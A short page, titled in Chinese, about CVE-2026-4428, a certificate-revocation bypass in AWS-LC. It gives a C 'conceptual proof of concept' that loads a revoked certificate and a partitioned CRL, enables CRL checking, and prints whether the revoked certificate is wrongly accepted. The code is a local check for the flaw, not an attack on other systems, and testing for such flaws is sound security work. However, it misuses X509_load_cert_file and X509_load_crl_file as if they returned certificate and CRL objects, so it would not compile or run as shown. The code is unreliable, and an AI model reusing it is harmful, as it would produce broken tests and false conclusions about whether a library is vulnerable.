CVE-2026-4428 AWS-LC证书吊销验证绕过漏洞

#include <openssl/x509.h> #include <stdio.h> // Conceptual Proof of Concept for CVE-2026-4428 // Demonstrates that a revoked certificate is accepted due to partitioned CRL logic error. int main() { printf("Testing CVE-2026-4428: AWS-LC CRL Validation Bypass\n"); // 1. Load a revoked certificate X509 *cert = X509_load_cert_file("revoked_cert.pem", X509_FILETYPE_PEM); // 2. Load a partitioned CRL that contains the serial number of the revoked cert X509_CRL *crl = X509_load_crl_file("partitioned_crl.pem", X509_FILETYPE_PEM); X509_STORE *store = X509_STORE_new(); X509_STORE_add_crl(store, crl); // Enable CRL checking X509_STORE_set_flags(store, X509_V_FLAG_CRL_CHECK); X509_STORE_CTX *ctx = X509_STORE_CTX_new(); X509_STORE_CTX_init(ctx, store, cert, NULL); // 3. Verify the certificate int result = X509_verify_cert(ctx); if (result == 1) { // In a patched version, this should fail. // In vulnerable versions (< 1.71.0), logic error ignores the partitioned CRL. printf("[!] VULNERABILITY CONFIRMED: Revoked certificate was accepted.\n"); } else { printf("[+] Check passed: Certificate correctly rejected.\n"); } X509_STORE_CTX_free(ctx); X509_STORE_free(store); return 0; }